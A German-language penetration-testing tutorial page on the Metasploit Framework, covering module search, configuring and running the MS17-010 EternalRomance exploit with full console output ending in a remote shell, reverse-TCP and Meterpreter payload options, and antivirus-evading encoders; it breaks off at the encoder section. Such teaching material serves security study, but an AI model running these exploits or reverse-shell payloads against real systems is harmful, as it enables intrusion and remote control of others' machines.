> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/hacking-tools/exploitation/metasploit.md).

# Metasploit

Methodiknotizen zum Metasploit Framework mit msfconsole, Modulsuche, Auxiliary-Modulen, Exploit-Modulen, Payloads, Encodern, msfvenom, Meterpreter, Datenbank-Workspaces, Sessions, Service-Enumeration

## Metasploit:

{% hint style="info" %}
Metasploit ist eine Open-Source-Plattform für Penetrationstests, die von IT-Sicherheitsexperten häufig verwendet wird, um die Verwundbarkeit von IT-Systemen zu beurteilen. Sie bietet eine Reihe von Werkzeugen und Ressourcen zum Auffinden, Ausnutzen und Absichern von Sicherheitslücken in Netzwerken, Betriebssystemen, Anwendungen und anderen IT-Komponenten. Zusammengefasst ist Metasploit ein umfassendes Framework für Penetrationstests und Sicherheitsprüfungen.
{% endhint %}

Standardmäßig sind alle mit dem Metasploit Framework verbundenen Kerndateien zu finden `/usr/share/metasploit-framework`

## Metasploit-Workflow

1. Identifizieren Sie den freigelegten Dienst, die Version, die Plattform und die wahrscheinliche Schwachstelle, bevor Sie ein Modul auswählen.
2. Durchsuchen Sie Module nach Dienst, CVE, Plattform, Typ, Rang und Name und prüfen Sie dann die Modulinformationen und Verweise.
3. Konfigurieren Sie Zieloptionen, Payload-Optionen, Listener-Adressen und die Zielauswahl mit der kleinsten zuverlässigen Konfiguration.
4. Führen Sie Prüfungen aus, wo verfügbar, führen Sie nur bestätigte Module aus und bewahren Sie die Modulausgabe für Berichte auf.
5. Verwalten Sie Sitzungen, Arbeitsbereiche, Loot, Anmeldedaten, Dienste und Hosts über die Metasploit-Datenbank, wenn die Untersuchung größer wird.

### **Module:**

Die oben beschriebenen Module sind in dieser Datei in verschiedene Kategorien unterteilt. Wir werden sie in den folgenden Abschnitten näher beschreiben. Sie befinden sich in den folgenden Ordnern:<br>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77dfbf31283b2d3bfa49b50822638774550ebbd7%2Fimage%20(2425).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Plugins:**

Plugins geben dem Pentester mehr Flexibilität bei ihrer Verwendung `msfconsole`da sie bei Bedarf einfach manuell oder automatisch geladen werden können, um bei unserer Bewertung zusätzliche Funktionalität und Automatisierung bereitzustellen.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edae3294cc47c3a2cc6d9a7b8a6da41a4f6862f7%2Fimage%20(2426).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Szenarien:

Meterpreter-Funktionalität und andere nützliche Skripte.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbfdb7ea26f6d2afe655265e269a724fb61af2a7%2Fimage%20(2427).png?alt=media" alt="" width="471"><figcaption></figcaption></figure>

### **Werkzeuge:**

Kommandozeilen-Dienstprogramme, die direkt aus dem `msfconsole`Menü

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-260718694bd64a3ecbbd9379daeeda1eb6238e06%2Fimage%20(2428).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13df96f51b0e8b40b505c931948efb56fac8df30%2Fimage%20(2424).png?alt=media" alt=""><figcaption></figcaption></figure>

### MSF-Engagement-Struktur

Die MSF-Engagement-Struktur kann in fünf Hauptkategorien unterteilt werden.

* Aufzählung
* Vorbereitung
* Ausnutzung
* Privilegieneskalation
* Post-Exploitation

{% hint style="info" %}
Diese Einteilung erleichtert es uns, geeignete MSF-Funktionen strukturierter zu finden und auszuwählen und entsprechend mit ihnen zu arbeiten. Jede dieser Kategorien hat verschiedene Unterkategorien, die für bestimmte Zwecke vorgesehen sind. Dazu gehören beispielsweise Dienstvalidierung und Schwachstellenforschung.
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33d8ad54ed6afb63be4d2040b16135f6e955c0f0%2Fimage%20(2423).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Komponenten**

### Nach Modulen suchen:

#### Sobald wir uns in der `msfconsole`, können wir aus einer langen Liste auswählen, die alle verfügbaren Metasploit-Module enthält. Jedes davon ist in Ordner strukturiert, die so aussehen:

**Syntax:**

```bash
<Nr.> <Typ>/<OS>/<Dienst>/<Name>
```

**Beispiel**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **NR.:**

Das `Nr.`Tag angezeigt, um den Exploit auszuwählen, den wir später bei unseren Suchen wollen. Wir werden sehen `Nr.`später, wie nützlich das Tag bei der Auswahl bestimmter Metasploit-Module sein kann.

2. **Typ:**

| Typ:         | **Beschreibung**                                                                                                               |
| ------------ | ------------------------------------------------------------------------------------------------------------------------------ |
| `Auxiliary`  | Funktionen zum Scannen, Fuzzing, Erkennen und Verwalten. Bietet Unterstützung und zusätzliche Funktionalität.                  |
| `Encoder`    | Stellen sicher, dass Payloads bis zu ihrem Ziel intakt bleiben.                                                                |
| `Exploits`   | Module, die eine Schwachstelle ausnutzen, um die Payload auszuliefern.                                                         |
| `NOPs`       | (No-Operation-Code) Hält die Payload-Größen zwischen Ausnutzungsversuchen konsistent.                                          |
| `Nutzlasten` | Code wird entfernt ausgeführt und ruft auf dem Rechner des Angreifers zurück, um eine Verbindung oder Shell herzustellen.      |
| `Plugins`    | Zusätzliche Skripte können in eine `msfconsole` Bewertung integriert werden und koexistieren.                                  |
| `Post`       | Breite Palette an Modulen zum Sammeln von Informationen, zum tieferen Pivotieren und für verwandte Post-Exploitation-Aufgaben. |

3. **OS:**

Das `OS`Tag gibt das Betriebssystem und die Architektur an, für die das Modul erstellt wurde. Natürlich erfordern verschiedene Betriebssysteme verschiedene Codes, um die gewünschten Ergebnisse zu erzielen 4. **Dienst:**

Das `Dienst` Tag bezieht sich auf den verwundbaren Dienst, der auf dem Zielrechner läuft. Bei einigen Modulen, wie `auxiliary` oder `post`, kann sich dieses Tag auf eine allgemeinere Aktivität wie `sammeln`beziehen, z. B. auf das Sammeln von Anmeldedaten. 5. **Name:**

Schließlich beschreibt das `Name`Tag die eigentliche Aktion, die mit diesem für einen bestimmten Zweck erstellten Modul ausgeführt werden kann.

**MSF - Suchfunktion**

Zum Beispiel können wir versuchen, den `EternalRomance`Exploit für ältere Windows-Betriebssysteme zu finden. Das könnte so aussehen:

`search eternalromance`

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-999feeb2ad3e48a6a3fd84fda41b92ed60c1dc92%2Fimage%20(2430).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Spezifische Suche:**

Wir können unsere Suche auch etwas grober gestalten und auf eine einzelne Kategorie von Diensten eingrenzen. Für CVE könnten wir zum Beispiel das Jahr angeben (`cve:<Jahr>`), Windows-Plattform (`platform:<os>`), den Typ des Moduls, den wir finden möchten (`type:<auxiliary/exploit/post>`), den Vertrauenswürdigkeitsrang (`rank:<rang>`) und den Suchnamen (`<Muster>`). Dadurch würden unsere Ergebnisse auf diejenigen reduziert, die all das oben Genannte erfüllen.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2cc2559310b8d7bcfc5596da295b1773672e06e%2Fimage%20(2431).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Module verwenden:

Um unser erstes Modul auszuwählen, müssen wir zunächst eines finden. Nehmen wir an, wir haben ein Ziel, auf dem eine SMB-Version läuft, die für EternalRomance-Exploits (MS17/\_010) anfällig ist. Wir haben beim Scannen des Ziels festgestellt, dass der SMB-Server-Port 445 offen ist.

**Nach MS17/\_010 suchen**

`search ms17_010`

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c27e5513ac68682cef267e1ab8f5c9d4d402820%2Fimage%20(2432).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**MSF - Ein Modul auswählen**

Um ein Modul in Metasploit zu verwenden, geben Sie zuerst den `use` Befehl gefolgt von der gewünschten Modulnummer ein und verwenden Sie dann den `options` Befehl, um die Details und Konfigurationen anzuzeigen, die für dieses Modul verfügbar sind.

```bash
Übereinstimmende Module
================

   #  Name                                  Veröffentlichungsdatum  Rang    Prüfen  Beschreibung
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Ja     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  Nein   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Moduloptionen (exploit/windows/smb/ms17_010_psexec):

   Name                  Aktuelle Einstellung                     Erforderlich  Beschreibung
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    ja        Zusätzliche Debug-Trace-Informationen anzeigen
   LEAKATTEMPTS          99                                       ja        Wie oft versucht werden soll, eine Transaktion zu leaken
   NAMEDPIPE                                                      nein      Eine benannte Pipe, zu der eine Verbindung hergestellt werden kann (für Auto leer lassen)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  ja        Liste der zu prüfenden benannten Pipes
                         rdlists/named_pipes.txt
   RHOSTS                                                         ja        Der/die Zielhost(s), siehe https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      ja        Der Zielport (TCP)
   SERVICE_DESCRIPTION                                            nein      Dienstbeschreibung, die auf dem Ziel für eine schöne Auflistung verwendet werden soll
   SERVICE_DISPLAY_NAME                                           nein      Der Anzeigename des Dienstes
   SERVICE_NAME                                                   nein      Der Dienstname
   SHARE                 ADMIN$                                   ja        Die zu verbindende Freigabe, kann eine Admin-Freigabe (ADMIN$,C$,...) oder eine no
                                                                            rmale Lese-/Schreib-Ordnerfreigabe sein
   SMBDomain             .                                        nein      Die für die Authentifizierung zu verwendende Windows-Domäne
   SMBPass                                                        nein      Das Passwort für den angegebenen Benutzernamen
   SMBUser                                                        nein      Der Benutzername, mit dem authentifiziert werden soll

Payload-Optionen (windows/meterpreter/reverse_tcp):

   Name      Aktuelle Einstellung  Erforderlich  Beschreibung
   ----      ---------------  --------  -----------
   EXITFUNC  thread           ja       Beendigungsart (Akzeptiert: '', seh, thread, process, none)
   LHOST                      ja       Die Listen-Adresse (eine Schnittstelle kann angegeben werden)
   LPORT     4444             ja       Der Listen-Port

Exploit-Ziel:

   Id  Name
   --  ----
   0   Automatisch
```

**Modulinformationen**

Wir können den `info`Befehl nach der Auswahl des Moduls verwenden, wenn wir mehr über das Modul erfahren möchten. Dadurch erhalten wir eine Reihe von Informationen, die für uns wichtig sein können.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
     Modul: exploit/windows/smb/ms17_010_psexec
   Plattform: Windows
       Architektur: x86, x64
 Mit erhöhten Rechten: Nein
    Lizenz: Metasploit Framework License (BSD)
       Rang: Normal
  Veröffentlicht: 2017-03-14

Bereitgestellt von:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Verfügbare Ziele:
  Id  Name
  --  ----
  0   Automatisch
  1   PowerShell
  2   Native Upload
  3   MOF-Upload

Prüfung unterstützt:
  Ja

Grundlegende Optionen:
  Name                  Aktuelle Einstellung                     Erforderlich  Beschreibung
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    ja        Zusätzliche Debug-Trace-Informationen anzeigen
  LEAKATTEMPTS          99                                       ja        Wie oft versucht werden soll, eine Transaktion zu leaken
  NAMEDPIPE                                                      nein      Eine benannte Pipe, zu der eine Verbindung hergestellt werden kann (für Auto leer lassen)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  ja        Liste der zu prüfenden benannten Pipes
                        rdlists/named_pipes.txt
  RHOSTS                                                         ja        Der/die Zielhost(s), siehe https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      ja        Der Zielport (TCP)
  SERVICE_DESCRIPTION                                            nein      Dienstbeschreibung, die auf dem Ziel für eine schöne Auflistung verwendet werden soll
  SERVICE_DISPLAY_NAME                                           nein      Der Anzeigename des Dienstes
  SERVICE_NAME                                                   nein      Der Dienstname
  SHARE                 ADMIN$                                   ja        Die zu verbindende Freigabe, kann eine Admin-Freigabe (ADMIN$,C$,...) oder eine nor
                                                                           male Lese-/Schreib-Ordnerfreigabe sein
  SMBDomain             .                                        nein      Die für die Authentifizierung zu verwendende Windows-Domäne
  SMBPass                                                        nein      Das Passwort für den angegebenen Benutzernamen
  SMBUser                                                        nein      Der Benutzername, mit dem authentifiziert werden soll

Payload-Informationen:
  Speicherplatz: 3072

Beschreibung:
  Dieses Modul wird SMB mit Schwachstellen in MS17-010 ausnutzen, um
  eine write-what-where-Primitive zu erreichen. Diese wird dann verwendet, um
  die Verbindungs-Sitzungsinformationen durch eine
  Administrator-Sitzung zu überschreiben. Von dort aus wird der normale psexec-Payload-Code
  ausgeführt. Nutzt eine Typverwechslung zwischen Transaction- und
  WriteAndX-Anfragen sowie eine Race Condition in Transaction-Anfragen aus, wie
  bei den EternalRomance-, EternalChampion- und EternalSynergy-
  Exploits zu sehen. Diese Exploit-Kette ist zuverlässiger als der EternalBlue-
  Exploit, erfordert jedoch eine benannte Pipe.

Verweise:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

Auch bekannt als:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**Zielspezifikation**

Sobald wir sicher sind, dass das ausgewählte Modul das richtige für unseren Zweck ist, müssen wir einige Spezifikationen festlegen, um das Modul so anzupassen, dass wir es erfolgreich auf unserem Zielhost verwenden können, z. B. das Ziel einstellen ( `RHOST`oder `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

Außerdem gibt es die `setg` Option, die die von uns ausgewählten Optionen als dauerhaft festlegt, bis das Programm neu gestartet wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2ed54a96a61ddba91c6c51c83d33d46ef03dad7%2Fimage%20(2434).png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploits ausführen**

Sobald alles konfiguriert und startbereit ist, können wir mit dem Angriff beginnen. Befehl: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Reverse-TCP-Handler auf 10.10.14.15:4444 gestartet
[*] 10.10.10.40:445 - Verwende auxiliary/scanner/smb/smb_ms17_010 als Prüfung
[+] 10.10.10.40:445       - Host ist wahrscheinlich VERWUNDBAR für MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - 1 von 1 Hosts gescannt (100% abgeschlossen)
[*] 10.10.10.40:445 - Verbinde mich zum Ziel für die Ausnutzung.
[+] 10.10.10.40:445 - Verbindung für die Ausnutzung hergestellt.
[+] 10.10.10.40:445 - Ziel-OS ausgewählt, gültig für das vom SMB-Reply angegebene OS
[*] 10.10.10.40:445 - CORE-Rohpuffer-Dump (42 Bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Zielarchitektur ausgewählt, gültig für die von der DCE/RPC-Antwort angegebene Architektur
[*] 10.10.10.40:445 - Versuche Exploit mit 12 Groom-Allocations.
[*] 10.10.10.40:445 - Sende alle bis auf das letzte Fragment des Exploit-Pakets
[*] 10.10.10.40:445 - Beginne mit dem Grooming des nicht-seitenverwalteten Pools
[+] 10.10.10.40:445 - Sende SMBv2-Puffer
[+] 10.10.10.40:445 - Schließe SMBv1-Verbindung und erzeuge ein freies Loch neben dem SMBv2-Puffer.
[*] 10.10.10.40:445 - Sende finale SMBv2-Puffer.
[*] 10.10.10.40:445 - Sende letztes Fragment des Exploit-Pakets!
[*] 10.10.10.40:445 - Empfange Antwort vom Exploit-Paket
[+] 10.10.10.40:445 - ETERNALBLUE-Überschreiben erfolgreich abgeschlossen (0xC000000D)!
[*] 10.10.10.40:445 - Sende Egg an die beschädigte Verbindung.
[*] 10.10.10.40:445 - Löst das Freigeben des beschädigten Puffers aus.
[*] Command-Shell-Sitzung 1 geöffnet (10.10.14.15:4444 -> 10.10.10.40:49158) um 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## Ziele

### **Ziele anzeigen:**

Das `show targets`Befehl, der in einer Exploit-Modul-Ansicht ausgeführt wird, zeigt alle verwundbaren Ziele an, die für diesen spezifischen Exploit verfügbar sind. Wenn Sie die Auswahl auf `Automatisch`msfconsole weiß dann, dass vor dem Start eines erfolgreichen Angriffs eine Diensterkennung auf dem angegebenen Ziel durchgeführt werden soll.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ca78baad8230f0f67ca3ccf72e1147854903b8a%2Fimage%20(2435).png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn wir jedoch wissen, welche Versionen auf unserem Ziel laufen, können wir den `set target <Index-Nr.>`Befehl verwenden, um ein Ziel aus der Liste auszuwählen.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### Payloads:

{% hint style="info" %}
In `Payload` Metasploit, ein Modul hilft dem Exploit-Modul, die (üblicherweise) `Shell-` an den Angreifer zurückzugeben. Payloads werden zusammen mit dem Exploit selbst gesendet, um die Standardabläufe des verwundbaren Dienstes zu umgehen (Aufgabe des Exploits), und werden dann auf dem Zielbetriebssystem ausgeführt, um typischerweise eine Reverse-Verbindung zum Angreifer herzustellen und die Aufgabe einer Payload zu erfüllen.
{% endhint %}

Es gibt drei verschiedene Typen von Payload-Modulen im Metasploit-Framework: Singles, Stagers und Stages.

1. **Payloads Single** :

> Eine einfache Payload enthält den gesamten Code, der für den Exploit und die Ausführung notwendig ist, in einer einzigen eigenständigen Payload. Das macht sie stabiler, weil nur ein einziges Element ausgeführt werden muss. Sie können jedoch durch ihre Größe begrenzt sein, da einige Angriffe keine zu großen Payloads unterstützen. Sie sind ideal für sofortige Aktionen, wie das Hinzufügen eines Benutzers oder das Starten eines Prozesses auf dem Ziel.

2. **Payloads Stagers:**

> Stager-Payloads arbeiten mit Stage-Payloads zusammen, indem sie die Last in mehrere Stufen aufteilen. Ein Stager befindet sich auf dem System des Angreifers und initiiert die Netzwerkverbindung mit dem Ziel, wenn die Stage auf dem entfernten Rechner ausgeführt wird. Sie sind klein und zuverlässig ausgelegt, was das Herstellen von Verbindungen erleichtert. Windows-Stager sind außerdem in den Versionen "NX" (für Kompatibilität mit DEP-Schutz) und "NO-NX" verfügbar, wobei NX größer ist, aber für moderne Systeme geeignet ist.

3. **Payloads Stages**:

> Stage-Payloads sind Komponenten, die von Stagern hochgeladen werden, für erweiterte Funktionalität und ohne Größenbeschränkung. Sie werden für komplexe Lasten wie Meterpreter oder VNC-Injektion verwendet. Um Fehler zu minimieren, verwenden Stages Zwischen-Stager, um die Upload-Stabilität sicherzustellen. Sie eignen sich besonders für mehrstufige Angriffe, die einen zuverlässigen und anhaltenden Datenfluss erfordern.

### Gestaffelte Payloads:

**Payloads in Stufen**

Als Metasploit-Benutzer werden wir ihnen unter den gebräuchlichen Namen begegnen `reverse_tcp`, `reverse_https`, und `bind_tcp`. Zum Beispiel können Sie unter dem `show payloads`Befehl nach Payloads suchen, die wie die folgenden aussehen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1e4d92b3c4090403c7eb20b12d40eedeef1ef56%2Fimage%20(2436).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Payloads Meterpreter:**

`Meterpreter` ist eine fortgeschrittene Payload, die DLL-Injektion verwendet, um eine stabile und dauerhafte Verbindung herzustellen, vollständig im Speicher, wodurch sie schwer zu erkennen ist. Sie ermöglicht das dynamische Laden von Skripten und Plugins. Nach dem Start öffnet sie eine Sitzung mit bestimmten Befehlen zur Steuerung des Zielsystems: `Tastenanschläge erfassen, Passwörter wiederherstellen, ins Mikrofon hören und mehr.`

### Nach Payloads suchen:

Um unsere erste Payload auszuwählen, müssen wir wissen, was wir auf dem Zielrechner tun möchten. Wenn wir beispielsweise auf Zugriffspersistenz abzielen, wollen wir wahrscheinlich eine Meterpreter-Payload auswählen.

Durch das Durchsuchen der obigen Liste finden wir den Abschnitt mit `Meterpreter-Payloads für Windows(x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager mit UUID-Unterstützung
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   518  windows/x64/meterpreter/bind_tcp                                     manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manuell  Nein    Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4-Stage-Verschlüsselung, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manuell  Nein    Windows Meterpreter (Reflective Injection x64), Bind TCP Stager mit UUID-Unterstützung (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   522  windows/x64/meterpreter/reverse_https                                manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   524  windows/x64/meterpreter/reverse_tcp                                  manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manuell  Nein    Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4-Stage-Verschlüsselung, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manuell  Nein    Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager mit UUID-Unterstützung (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manuell  Nein    Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manuell  Nein    Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manuell  Nein    Windows Meterpreter Shell, Bind TCP Inline (x64)
   531  windows/x64/meterpreter_reverse_http                                 manuell  Nein    Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   532  windows/x64/meterpreter_reverse_https                                manuell  Nein    Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manuell  Nein    Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manuell  Nein    Windows Meterpreter Shell, Reverse TCP Inline x64
</code></pre>

### **Nach spezifischen Payloads suchen:**

Wir können auch `grep`verwenden, um bestimmte Begriffe zu filtern. Das würde die Suche und damit unsere Auswahl beschleunigen.

```bash
grep meterpreter show payloads
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-191ade67bb9818f9ce38186d363e806d9cb579ec%2Fimage%20(2437).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir können jetzt noch einen weiteren `grep`Befehl nach dem ersten hinzufügen und nach `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48f373e96aabdc1a62b4409a6057a93f0c08b631%2Fimage%20(2438).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Payload auswählen:**

Wir verwenden `set payload <Nr.>`nur nachdem Sie zunächst ein Exploit-Modul ausgewählt haben.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### Payloads verwenden:

Für den Exploit-Teil müssen wir die folgenden Elemente definieren:

| **Parameter** | **Beschreibung**                                  |
| ------------- | ------------------------------------------------- |
| `RHOSTS`      | Die IP-Adresse des Remote-Hosts, der Zielrechner. |
| `RPORT`       | Der Port des Remote-Hosts.                        |

Für den Payload-Teil müssen wir die folgenden Elemente definieren:

| **Parameter** | **Beschreibung**                                                                                  |
| ------------- | ------------------------------------------------------------------------------------------------- |
| `LHOST`       | Die Host-IP-Adresse, der Rechner des Angreifers.                                                  |
| `LPORT`       | Muss normalerweise nicht geändert werden; prüfen Sie, dass der Port nicht bereits verwendet wird. |

### Payload-Typen:

| **Nutzlast**                      | **Beschreibung**                                                                  |
| --------------------------------- | --------------------------------------------------------------------------------- |
| `generic/custom`                  | Generischer Listener für allgemeine Zwecke                                        |
| `generic/shell_bind_tcp`          | Generischer Listener für allgemeine Zwecke, normale Shell, TCP-Bind-Verbindung    |
| `generic/shell_reverse_tcp`       | Generischer Listener für allgemeine Zwecke, normale Shell, Reverse-TCP-Verbindung |
| `windows/x64/exec`                | Führt einen beliebigen Befehl aus (Windows x64)                                   |
| `windows/x64/loadlibrary`         | Lädt einen beliebigen x64-Bibliothekspfad                                         |
| `windows/x64/messagebox`          | Erzeugt über MessageBox ein Dialogfeld mit anpassbarem Titel, Text und Symbol     |
| `windows/x64/shell_reverse_tcp`   | Normale Shell, einzelne Payload, Reverse-TCP-Verbindung                           |
| `windows/x64/shell/reverse_tcp`   | Normale Shell, Stager plus Stage, Reverse-TCP-Verbindung                          |
| `windows/x64/shell/bind_ipv6_tcp` | Normale Shell, Stager plus Stage, IPv6-TCP-Bind-Stager                            |
| `windows/x64/meterpreter/$`       | Meterpreter-Payload plus die oben genannten Varianten                             |
| `windows/x64/powershell/$`        | Interaktive PowerShell-Sitzungen plus die oben genannten Varianten                |
| `windows/x64/vncinject/$`         | VNC-Server (reflektive Injektion) plus die oben genannten Varianten               |

## Encoder

{% hint style="info" %}
In den 15 Jahren, in denen das Metasploit-Framework existiert, `Encoder`haben wir dazu beigetragen, Payloads mit verschiedenen Prozessorarchitekturen kompatibel zu machen und gleichzeitig bei der Umgehung von Antivirenprogrammen zu helfen. `Encoder`kommt die Aufgabe ins Spiel, die Payload so zu modifizieren, dass sie auf verschiedenen Betriebssystemen und Architekturen ausgeführt werden kann. Zu diesen Architekturen gehören:
{% endhint %}

